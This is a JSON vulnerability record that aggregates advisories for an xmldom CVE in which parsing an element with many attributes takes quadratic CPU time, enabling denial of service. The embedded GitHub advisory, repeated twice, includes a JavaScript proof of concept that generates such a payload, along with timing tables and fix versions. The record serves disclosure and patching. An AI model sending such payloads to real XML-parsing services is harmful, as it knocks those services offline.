{"id":"CVE-2026-83613","aliases":["AZL-99353","CLSA-2026-1790608669","CLSA-2026-1790755546","CLSA-2026-1791028067","CLSA-2026-1793867503","CLSA-2026-1793867506","DEBIAN-CVE-2026-83613","EUVD-2026-69231","GHSA-8344-3jmq-59r6","UBUNTU-CVE-2026-83613"],"status":"published","title":"xmldom: Quadratic-time attribute deduplication","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, DOMHandler.startElement in lib/dom-parser.js inserts every parsed attribute through setAttributeNode, while NamedNodeMap.setNamedItem in lib/dom.js calls the linear getNamedItem or getNamedItemNS lookup for each insertion. A well-formed element with many distinct attributes therefore requires quadratic comparisons during DOMParser.parseFromString() and can stall a Node.js event loop before application validation. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00604,"percentile":0.49394,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-407"],"published":"2026-09-01T14:38:49Z","modified":"2026-11-05T13:15:15Z","fixes":[{"ecosystem":"npm","package":"@xmldom/xmldom","fixed_in":["0.8.15","0.9.12"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"node-xmldom","fixed_in":["0.9.12-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@xmldom/xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.0"},{"last_affected":"0.8.14"},{"fixed":"0.8.15"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@xmldom/xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.9.0"},{"last_affected":"0.9.11"},{"fixed":"0.9.12"}]}]},{"source":"ghsa","ecosystem":"npm","package":"xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.6.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-tensorboard","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.16.2-6"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@xmldom/xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.9.10-tuxcare.0"},{"fixed":"0.9.10-tuxcare.1"}]}],"versions":["0.9.10"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@xmldom/xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.13-tuxcare.0"},{"fixed":"0.7.13-tuxcare.1"}]}],"versions":["0.7.13"],"bundled":14},{"source":"osv","ecosystem":"TuxCare:npm","package":"@xmldom/xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.9.8-tuxcare.0"},{"fixed":"0.9.8-tuxcare.1"}]}],"versions":["0.9.8"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.31-tuxcare.0"},{"fixed":"0.1.31-tuxcare.8"}]}],"versions":["0.1.31","0.1.31-tuxcare.1","0.1.31-tuxcare.2","0.1.31-tuxcare.3","0.1.31-tuxcare.4","0.1.31-tuxcare.5","0.1.31-tuxcare.6","0.1.31-tuxcare.7"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.0-tuxcare.0"},{"fixed":"0.6.0-tuxcare.8"}]}],"versions":["0.6.0","0.6.0-tuxcare.1","0.6.0-tuxcare.2","0.6.0-tuxcare.3","0.6.0-tuxcare.4","0.6.0-tuxcare.5","0.6.0-tuxcare.6","0.6.0-tuxcare.7"],"bundled":2},{"source":"osv","ecosystem":"Debian:12","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.6-1","0.9.10-1","0.9.10-2","0.9.11-1","0.9.12-1","0.9.5-1","0.9.6-1","0.9.8-1","0.9.8-2","0.9.9-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.10-1","0.9.10-2","0.9.11-1","0.9.12-1","0.9.6-1","0.9.8-1","0.9.8-2","0.9.9-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.12-1"}]}],"versions":["0.9.10-1","0.9.10-2","0.9.11-1","0.9.6-1","0.9.8-1","0.9.8-2","0.9.9-1"]},{"source":"osv","ecosystem":"npm","package":"@xmldom/xmldom","ranges":[{"type":"SEMVER","events":[{"introduced":"0.7.0"},{"fixed":"0.8.15"}]}]},{"source":"osv","ecosystem":"npm","package":"@xmldom/xmldom","ranges":[{"type":"SEMVER","events":[{"introduced":"0.9.0"},{"fixed":"0.9.12"}]}]},{"source":"osv","ecosystem":"npm","package":"xmldom","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.6.0"}]}]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1.27+ds-1","0.1.27+ds-1+deb10u2build0.20.04.1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.5.0-1","0.7.3-1","0.7.5-1","0.7.5-1ubuntu0.22.04.1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.6-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.8-2","0.9.10-2","0.9.11-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.6-1","0.9.8-1","0.9.8-2"]}],"products":[{"vendor":"@xmldom","product":"xmldom"},{"vendor":"xmldom","product":"xmldom"}],"references":[{"url":"https://github.com/xmldom/xmldom/security/advisories/GHSA-8344-3jmq-59r6","tags":["x_refsource_CONFIRM","advisory","web","report"]},{"url":"https://github.com/xmldom/xmldom/pull/1071","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/xmldom/xmldom/pull/1072","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/xmldom/xmldom/commit/2c548f200cfec991cd5846627ef8f03542309213","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/xmldom/xmldom/commit/cfb09b5dbeb035fdfedc9f01e2bbaf226bf47cf3","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/xmldom/xmldom/releases/tag/0.8.15","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/xmldom/xmldom/releases/tag/0.9.12","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/xmldom/xmldom/security/advisories/GHSA-27p8-2357-5qqv","tags":["exploit","evidence","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83613","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-8344-3jmq-59r6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/83xxx/CVE-2026-83613.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-83613","tags":["advisory"]},{"url":"https://github.com/xmldom/xmldom","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-83613","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-83613","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-83613","title":"xmldom: Quadratic-time attribute deduplication","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, DOMHandler.startElement in lib/dom-parser.js inserts every parsed attribute through setAttributeNode, while NamedNodeMap.setNamedItem in lib/dom.js calls the linear getNamedItem or getNamedItemNS lookup for each insertion. A well-formed element with many distinct attributes therefore requires quadratic comparisons during DOMParser.parseFromString() and can stall a Node.js event loop before application validation. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","status":"published","published":"2026-09-01T14:38:49.617Z","modified":"2026-09-04T01:57:57.829Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-407"],"updated_at":"2026-11-02T13:45:14.072357Z"}],"euvd":[{"id":"EUVD-2026-69231","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, DOMHandler.startElement in lib/dom-parser.js inserts every parsed attribute through setAttributeNode, while NamedNodeMap.setNamedItem in lib/dom.js calls the linear getNamedItem or getNamedItemNS lookup for each insertion. A well-formed element with many distinct attributes therefore requires quadratic comparisons during DOMParser.parseFromString() and can stall a Node.js event loop before application validation. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","status":"published","published":"2026-09-01T14:38:49Z","modified":"2026-09-04T01:57:57Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:13.160542Z"}],"ghsa":[{"id":"GHSA-8344-3jmq-59r6","title":"xmldom: Quadratic-time attribute deduplication","description":"## Summary\n\nxmldom builds the attribute collection of every parsed element by inserting attributes one at a\ntime into a DOM `NamedNodeMap`. Each insertion first performs a **linear scan of all\nalready-inserted attributes** to enforce the DOM uniqueness rule (no two attributes with the same\nqualified name / namespace+local-name). Parsing an element that carries `M` distinct attributes\ntherefore costs `1 + 2 + … + M = O(M²)` comparisons.\n\nBecause the trigger is simply \"one element with many attributes\", the attack payload is a\n**fully well-formed XML document**. No malformed markup, no error recovery, and no non-default\nparser options are involved — parsing completes silently with zero `warning`/`error`/`fatalError`\nevents. An attacker who can submit a modest, highly compressible document (a single element with\ntens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU\nper request, enabling an unauthenticated denial of service.\n\nThis is distinct from the known quadratic-**memory** namespace-map issue: it burns **CPU** and it\ndoes not require any namespace declarations or nesting.\n\n## Details\n\nThe DOM content handler adds each attribute of a starting element by calling\n`el.setAttributeNode(attr)` in a loop:\n\n```js\n// DOMHandler.startElement\nfor (var i = 0; i \u003c len; i++) {\n\tvar namespaceURI = attrs.getURI(i);\n\tvar value = attrs.getValue(i);\n\tvar qName = attrs.getQName(i);\n\tvar attr = doc.createAttributeNS(namespaceURI, qName);\n\tattr.value = attr.nodeValue = value;\n\tel.setAttributeNode(attr);          // O(existing attrs) each — see below\n}\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387\n\n`setAttributeNode` delegates to `NamedNodeMap.setNamedItem`, which calls `getNamedItemNS` to look\nfor an existing attribute with the same namespace URI and local name before appending:\n\n```js\nsetNamedItem: function (attr) {\n\tvar el = attr.ownerElement;\n\tif (el \u0026\u0026 el !== this._ownerElement) {\n\t\tthrow new DOMException(DOMException.INUSE_ATTRIBUTE_ERR);\n\t}\n\tvar oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName);  // linear scan\n\tif (oldAttr === attr) {\n\t\treturn attr;\n\t}\n\t_addNamedNode(this._ownerElement, this, attr, oldAttr);\n\treturn oldAttr;\n},\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623\n\n`getNamedItemNS` walks the whole list on every call:\n\n```js\ngetNamedItemNS: function (namespaceURI, localName) {\n\tif (!namespaceURI) {\n\t\tnamespaceURI = null;\n\t}\n\tvar i = 0;\n\twhile (i \u003c this.length) {\n\t\tvar node = this[i];\n\t\tif (node.localName === localName \u0026\u0026 node.namespaceURI === namespaceURI) {\n\t\t\treturn node;\n\t\t}\n\t\ti++;\n\t}\n\treturn null;\n},\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715\n\nFor the i-th attribute the scan visits `i-1` entries, so inserting `M` distinct attributes performs\n`Θ(M²)` comparisons. There is no hash index or set keyed by name; the map is a plain\narray-backed structure.\n\nThe same structure exists on 0.8.x. There `setNamedItem` dedups via\n`getNamedItem(attr.nodeName)` instead of `getNamedItemNS`, but that method is likewise a full linear\nscan, so the complexity is identical:\n\n- `startElement` loop / `setAttributeNode`:\n  https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L159-L176\n- `setNamedItem` → linear `getNamedItem`:\n  https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L286-L308\n\nThe linear-scan `NamedNodeMap` predates the `@xmldom/xmldom` fork and is present unchanged in the\nunscoped `xmldom` package back to its earliest published release. In `xmldom@0.1.0`, parsing already\ninserts each attribute one at a time (`DOMHandler.startElement` loops calling\n`setAttributeNS` → `setAttributeNode` → `NamedNodeMap.setNamedItem`), and `setNamedItem` dedups by\ncalling `getNamedItemNS`, which is a full linear `while (i--)` scan of the already-inserted\nattributes — the identical `O(M²)` structure. The whole unscoped line (`0.1.0` … `0.6.0`) is\ntherefore affected; the earliest published tag (`0.1.0`) was verified to contain the per-insert\nlinear dedup scan.\n\n## Proof of Concept\n\nA single well-formed element with `M` distinct attributes. No malformed markup and no options:\n\n```js\n'use strict';\nvar DOMParser = require('@xmldom/xmldom').DOMParser;\n\nfunction buildDoc(m) {\n\tvar parts = new Array(m);\n\tfor (var i = 0; i \u003c m; i++) parts[i] = 'a' + i + '=\"x\"';\n\treturn '\u003cr ' + parts.join(' ') + '/\u003e';   // \u003cr a0=\"x\" a1=\"x\" ... a{M-1}=\"x\"/\u003e\n}\n\nfor (var _i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; _i \u003c sizes.length; _i++) {\n\tvar m = sizes[_i];\n\tvar xml = buildDoc(m);\n\tvar t0 = process.hrtime.bigint();\n\tvar doc = new DOMParser().parseFromString(xml, 'text/xml');  // silent: no error events\n\tvar ms = Number(process.hrtime.bigint() - t0) / 1e6;\n\tconsole.log(m + ' attrs, ' + xml.length + ' bytes -\u003e ' + ms.toFixed(1) + ' ms; parsed=' +\n\t\tdoc.documentElement.attributes.length);\n}\n```\n\nMeasured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the **scaling** is the\nload-bearing fact):\n\n**`@xmldom/xmldom` 0.9.10:**\n\n| M (attributes) | input bytes | time (ms) | ratio vs prev |\n|---:|---:|---:|---:|\n| 2000  | 18,894  | 13.4   | —     |\n| 4000  | 38,894  | 38.7   | ×2.9  |\n| 8000  | 78,894  | 100.8  | ×2.6  |\n| 16000 | 164,894 | 406.2  | ×4.0  |\n| 32000 | 340,894 | 2149.5 | ×5.3  |\n\n**`@xmldom/xmldom` 0.8.13:**\n\n| M (attributes) | input bytes | time (ms) |\n|---:|---:|---:|\n| 2000  | 18,894  | 10.6   |\n| 4000  | 38,894  | 19.9   |\n| 8000  | 78,894  | 75.9   |\n| 16000 | 164,894 | 657.7  |\n| 32000 | 340,894 | 1643.2 |\n\n**`xmldom` (unscoped) 0.6.0:** 4000 → 28.2 ms, 8000 → 131.8 ms, 16000 → 545.2 ms (≈ ×4 per doubling).\n\nTime grows ≈ ×4 per doubling of `M` — quadratic. About **340 KB of well-formed input costs ~1.6–2.1 s\nof single-threaded CPU**, and it keeps scaling: doubling the attribute count quadruples the cost.\nThe document is trivially generated and compresses to a few kilobytes on the wire.\n\n## Impact\n\nUnauthenticated, remotely triggerable denial of service against any service that parses\nattacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds;\na handful of concurrent requests can saturate CPU and stall the process. Because the payload is a\nplain well-formed document (one element, many attributes), it passes any \"must be well-formed\" gate\nand reaches the parser before any application-level validation (e.g. schema checks or signature\nverification) can run. The payload is highly compressible, so it is effective over compressed\ntransports.\n\n## Fix Applied\n\nReplaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed\nindex, so de-duplicating an element's attributes during parse is O(M) instead of O(M²) — a\nwell-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute\norder and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking\nand independent of `requireWellFormed`; ships on both maintained versions.","status":"published","published":"2026-09-08T21:01:31Z","modified":"2026-09-08T21:01:33Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-407"],"updated_at":"2026-11-02T14:41:14.764963Z"}],"nvd":[{"id":"CVE-2026-83613","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, DOMHandler.startElement in lib/dom-parser.js inserts every parsed attribute through setAttributeNode, while NamedNodeMap.setNamedItem in lib/dom.js calls the linear getNamedItem or getNamedItemNS lookup for each insertion. A well-formed element with many distinct attributes therefore requires quadratic comparisons during DOMParser.parseFromString() and can stall a Node.js event loop before application validation. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","status":"published","published":"2026-09-01T15:17:39.583Z","modified":"2026-09-08T21:11:31.703Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-407"],"updated_at":"2026-11-02T14:12:43.04945Z"}],"osv":[{"id":"CVE-2026-83613","title":"xmldom: Quadratic-time attribute deduplication","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, DOMHandler.startElement in lib/dom-parser.js inserts every parsed attribute through setAttributeNode, while NamedNodeMap.setNamedItem in lib/dom.js calls the linear getNamedItem or getNamedItemNS lookup for each insertion. A well-formed element with many distinct attributes therefore requires quadratic comparisons during DOMParser.parseFromString() and can stall a Node.js event loop before application validation. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","status":"published","published":"2026-09-01T14:38:49.617Z","modified":"2026-11-11T02:48:52.951658399Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-407"],"updated_at":"2026-11-11T03:21:38.364245Z"},{"id":"DEBIAN-CVE-2026-83613","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, DOMHandler.startElement in lib/dom-parser.js inserts every parsed attribute through setAttributeNode, while NamedNodeMap.setNamedItem in lib/dom.js calls the linear getNamedItem or getNamedItemNS lookup for each insertion. A well-formed element with many distinct attributes therefore requires quadratic comparisons during DOMParser.parseFromString() and can stall a Node.js event loop before application validation. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","status":"published","published":"2026-09-01T15:17:39.583Z","modified":"2026-10-01T03:03:37.247249687Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:46:04.577397Z"},{"id":"GHSA-8344-3jmq-59r6","title":"xmldom: Quadratic-time attribute deduplication","description":"## Summary\n\nxmldom builds the attribute collection of every parsed element by inserting attributes one at a\ntime into a DOM `NamedNodeMap`. Each insertion first performs a **linear scan of all\nalready-inserted attributes** to enforce the DOM uniqueness rule (no two attributes with the same\nqualified name / namespace+local-name). Parsing an element that carries `M` distinct attributes\ntherefore costs `1 + 2 + … + M = O(M²)` comparisons.\n\nBecause the trigger is simply \"one element with many attributes\", the attack payload is a\n**fully well-formed XML document**. No malformed markup, no error recovery, and no non-default\nparser options are involved — parsing completes silently with zero `warning`/`error`/`fatalError`\nevents. An attacker who can submit a modest, highly compressible document (a single element with\ntens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU\nper request, enabling an unauthenticated denial of service.\n\nThis is distinct from the known quadratic-**memory** namespace-map issue: it burns **CPU** and it\ndoes not require any namespace declarations or nesting.\n\n## Details\n\nThe DOM content handler adds each attribute of a starting element by calling\n`el.setAttributeNode(attr)` in a loop:\n\n```js\n// DOMHandler.startElement\nfor (var i = 0; i \u003c len; i++) {\n\tvar namespaceURI = attrs.getURI(i);\n\tvar value = attrs.getValue(i);\n\tvar qName = attrs.getQName(i);\n\tvar attr = doc.createAttributeNS(namespaceURI, qName);\n\tattr.value = attr.nodeValue = value;\n\tel.setAttributeNode(attr);          // O(existing attrs) each — see below\n}\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387\n\n`setAttributeNode` delegates to `NamedNodeMap.setNamedItem`, which calls `getNamedItemNS` to look\nfor an existing attribute with the same namespace URI and local name before appending:\n\n```js\nsetNamedItem: function (attr) {\n\tvar el = attr.ownerElement;\n\tif (el \u0026\u0026 el !== this._ownerElement) {\n\t\tthrow new DOMException(DOMException.INUSE_ATTRIBUTE_ERR);\n\t}\n\tvar oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName);  // linear scan\n\tif (oldAttr === attr) {\n\t\treturn attr;\n\t}\n\t_addNamedNode(this._ownerElement, this, attr, oldAttr);\n\treturn oldAttr;\n},\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623\n\n`getNamedItemNS` walks the whole list on every call:\n\n```js\ngetNamedItemNS: function (namespaceURI, localName) {\n\tif (!namespaceURI) {\n\t\tnamespaceURI = null;\n\t}\n\tvar i = 0;\n\twhile (i \u003c this.length) {\n\t\tvar node = this[i];\n\t\tif (node.localName === localName \u0026\u0026 node.namespaceURI === namespaceURI) {\n\t\t\treturn node;\n\t\t}\n\t\ti++;\n\t}\n\treturn null;\n},\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715\n\nFor the i-th attribute the scan visits `i-1` entries, so inserting `M` distinct attributes performs\n`Θ(M²)` comparisons. There is no hash index or set keyed by name; the map is a plain\narray-backed structure.\n\nThe same structure exists on 0.8.x. There `setNamedItem` dedups via\n`getNamedItem(attr.nodeName)` instead of `getNamedItemNS`, but that method is likewise a full linear\nscan, so the complexity is identical:\n\n- `startElement` loop / `setAttributeNode`:\n  https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L159-L176\n- `setNamedItem` → linear `getNamedItem`:\n  https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L286-L308\n\nThe linear-scan `NamedNodeMap` predates the `@xmldom/xmldom` fork and is present unchanged in the\nunscoped `xmldom` package back to its earliest published release. In `xmldom@0.1.0`, parsing already\ninserts each attribute one at a time (`DOMHandler.startElement` loops calling\n`setAttributeNS` → `setAttributeNode` → `NamedNodeMap.setNamedItem`), and `setNamedItem` dedups by\ncalling `getNamedItemNS`, which is a full linear `while (i--)` scan of the already-inserted\nattributes — the identical `O(M²)` structure. The whole unscoped line (`0.1.0` … `0.6.0`) is\ntherefore affected; the earliest published tag (`0.1.0`) was verified to contain the per-insert\nlinear dedup scan.\n\n## Proof of Concept\n\nA single well-formed element with `M` distinct attributes. No malformed markup and no options:\n\n```js\n'use strict';\nvar DOMParser = require('@xmldom/xmldom').DOMParser;\n\nfunction buildDoc(m) {\n\tvar parts = new Array(m);\n\tfor (var i = 0; i \u003c m; i++) parts[i] = 'a' + i + '=\"x\"';\n\treturn '\u003cr ' + parts.join(' ') + '/\u003e';   // \u003cr a0=\"x\" a1=\"x\" ... a{M-1}=\"x\"/\u003e\n}\n\nfor (var _i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; _i \u003c sizes.length; _i++) {\n\tvar m = sizes[_i];\n\tvar xml = buildDoc(m);\n\tvar t0 = process.hrtime.bigint();\n\tvar doc = new DOMParser().parseFromString(xml, 'text/xml');  // silent: no error events\n\tvar ms = Number(process.hrtime.bigint() - t0) / 1e6;\n\tconsole.log(m + ' attrs, ' + xml.length + ' bytes -\u003e ' + ms.toFixed(1) + ' ms; parsed=' +\n\t\tdoc.documentElement.attributes.length);\n}\n```\n\nMeasured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the **scaling** is the\nload-bearing fact):\n\n**`@xmldom/xmldom` 0.9.10:**\n\n| M (attributes) | input bytes | time (ms) | ratio vs prev |\n|---:|---:|---:|---:|\n| 2000  | 18,894  | 13.4   | —     |\n| 4000  | 38,894  | 38.7   | ×2.9  |\n| 8000  | 78,894  | 100.8  | ×2.6  |\n| 16000 | 164,894 | 406.2  | ×4.0  |\n| 32000 | 340,894 | 2149.5 | ×5.3  |\n\n**`@xmldom/xmldom` 0.8.13:**\n\n| M (attributes) | input bytes | time (ms) |\n|---:|---:|---:|\n| 2000  | 18,894  | 10.6   |\n| 4000  | 38,894  | 19.9   |\n| 8000  | 78,894  | 75.9   |\n| 16000 | 164,894 | 657.7  |\n| 32000 | 340,894 | 1643.2 |\n\n**`xmldom` (unscoped) 0.6.0:** 4000 → 28.2 ms, 8000 → 131.8 ms, 16000 → 545.2 ms (≈ ×4 per doubling).\n\nTime grows ≈ ×4 per doubling of `M` — quadratic. About **340 KB of well-formed input costs ~1.6–2.1 s\nof single-threaded CPU**, and it keeps scaling: doubling the attribute count quadruples the cost.\nThe document is trivially generated and compresses to a few kilobytes on the wire.\n\n## Impact\n\nUnauthenticated, remotely triggerable denial of service against any service that parses\nattacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds;\na handful of concurrent requests can saturate CPU and stall the process. Because the payload is a\nplain well-formed document (one element, many attributes), it passes any \"must be well-formed\" gate\nand reaches the parser before any application-level validation (e.g. schema checks or signature\nverification) can run. The payload is highly compressible, so it is effective over compressed\ntransports.\n\n## Fix Applied\n\nReplaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed\nindex, so de-duplicating an element's attributes during parse is O(M) instead of O(M²) — a\nwell-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute\norder and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking\nand independent of `requireWellFormed`; ships on both maintained versions.","status":"published","published":"2026-09-08T21:01:31Z","modified":"2026-09-08T21:25:58.513143Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-407"],"updated_at":"2026-11-02T15:46:41.732368Z"},{"id":"UBUNTU-CVE-2026-83613","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, DOMHandler.startElement in lib/dom-parser.js inserts every parsed attribute through setAttributeNode, while NamedNodeMap.setNamedItem in lib/dom.js calls the linear getNamedItem or getNamedItemNS lookup for each insertion. A well-formed element with many distinct attributes therefore requires quadratic comparisons during DOMParser.parseFromString() and can stall a Node.js event loop before application validation. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","status":"published","published":"2026-09-01T15:17:00Z","modified":"2026-10-17T13:01:12.26616558Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:57:22.213888Z"},{"id":"AZL-99353","title":"CVE-2026-83613 affecting package python-tensorboard 2.16.2-6","description":"xmldom is a pure JavaScript W3C standard-based (XML 